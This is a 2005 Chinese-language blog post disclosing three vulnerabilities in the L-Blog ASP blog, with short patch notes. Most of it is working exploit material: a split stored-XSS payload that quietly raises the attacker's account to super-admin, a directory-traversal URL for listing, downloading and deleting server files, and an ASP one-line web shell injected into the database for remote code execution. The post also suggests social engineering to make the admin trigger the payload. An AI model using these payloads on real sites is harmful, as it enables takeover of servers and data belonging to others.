L-Blog的三個漏洞

Authorlake2 http://lake2.0x54.org

Date2005-12-29

 

L-Blog是由 Loveyuki 自主開發的基於 ASP+Access 的小型單用戶BLOG,好像網上用的比較多,主要是免費的(呵呵,向Loveyuki致敬)。昨天寢室斷網了,閒着沒事幹,就把以前下載的L-Blog V1.08 (SE) Final版本拿來看,結果還真發現了幾個問題。

 

1L-Blog Cross-Site Scripting Vulnerability

這是個跨站漏洞,好像HaK_BaN很早就發現並通知了官方,所以問題已經修復。但是我下的那個版本卻存在,所以還是要寫出來J

問題存在於申請友情鏈接那裏,對提交的網站名稱沒有進行HTML編碼就直接寫入數據庫,管理員瀏覽讀出的時候也沒有進行編碼,造成跨站腳本漏洞。

怎麼利用呢,盜管理員Cookies?太麻煩,其實可以直接用javascript把頁面轉向到提升一般用戶爲超級管理員的鏈接。

呵呵,那就註冊個帳號先,然後記住帳號的id,然後構造語句咯。

先看看把一般用戶提升成超級管理員的鏈接,http://localhost/L-Blog/admincp.asp?action=member&type=editmem&memID=2&memType=SupAdmin,嗯我們可以提交<script>location.href=” admincp.asp?action=member&type=editmem&memID=2&memType=SupAdmin”</script>達到轉向的目的。參數memID就是你要提升權限的用戶id,這裏我的id2

且慢,這裏有兩個問題,第一是數據庫Blog_links表裏的Link_Name字段最多放50個字符;第二是如果轉向管理員會發現不對勁哦。所以要用拆分字符分次提交,而且使用框架讓管理員看不到。

算了一下,至少要分四次提交,看exploit

<script>a="<iframe src=admincp.asp?actio"</script>

<script>a+="n=member&type=editmem&memID="</script>

<script>a+="2&memType=SupAdmin width="</script>

<script>a+="0 height=0>";document.write(a);</script>

呵呵,然後就等着管理員去看鏈接驗證咯。要是等不及了可以想辦法讓他去看,看你的社會工程學水平了。

漏洞修補問題,最簡單就是去官方下補丁。

 

2L-Blog File List / Delete with SuperAdmin Vulnerability

通過前面的漏洞我們可以成爲blog管理員,現在我們得想辦法拿webshell啊。呵呵,這個時候用這個漏洞最好不過了。好像還沒人公佈的說。

在附件管理選瀏覽all_files裏的文件,看它的URLhttp://localhost/L-Blog/admincp.asp?action=attachment&foldername=All_Files,嘿嘿問題就出在參數foldername,沒有過濾./,那就可以跨目錄的哦。用這個url看看http://localhost/L-Blog/admincp.asp?action=attachment&foldername=..,呵呵,怎麼樣,blog根目錄文件出來了,可以隨便刪除文件的哦。

利用這個漏洞我們可以任意查看網站各目錄的文件,不過你要猜到文件夾才能瀏覽,L-Blog的數據庫放在blogdata下,看看咯:http://localhost/L-Blog/admincp.asp?action=attachment&foldername=../blogdata

如果它的數據庫是mdb,那就下載之,如果改成了asp/asa,那就請你看第三個漏洞哈。

這個漏洞的修復就是修改文件admincp.asp,只要把變量Request.QueryString("filename")裏的“.”過濾就行了。

 

3L-Blog .asp/.asa DataBase Execute ASP Code Vulnerability

L-Blog的默認數據庫名字是L-Blog.mdb,但是很多站長應該會改名稱和後綴,一般改爲asp或者asa,呵呵,如果改了,那站就完咯。

L-Blog.mdb裏面有一個貌似防下載的表aNotDownload,其實一點用都沒有,就算你改了後綴照樣可下載。當然不去下載它,我是要拿webshell

現在就要向數據庫寫小馬咯。

隨便找個沒有過濾html編碼的地方,就找修改一般設置,Blog名稱,填<%execute(request("x"))%>,然後再訪問數據庫,看看是不是有類型不匹配錯誤,ok,搞定!

漏洞的修復也簡單,隨便找個動網的數據庫,找到notdown表導出到L-Blog的數據庫中,呵呵,然後你再訪問數據庫試試。世界清靜了……

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章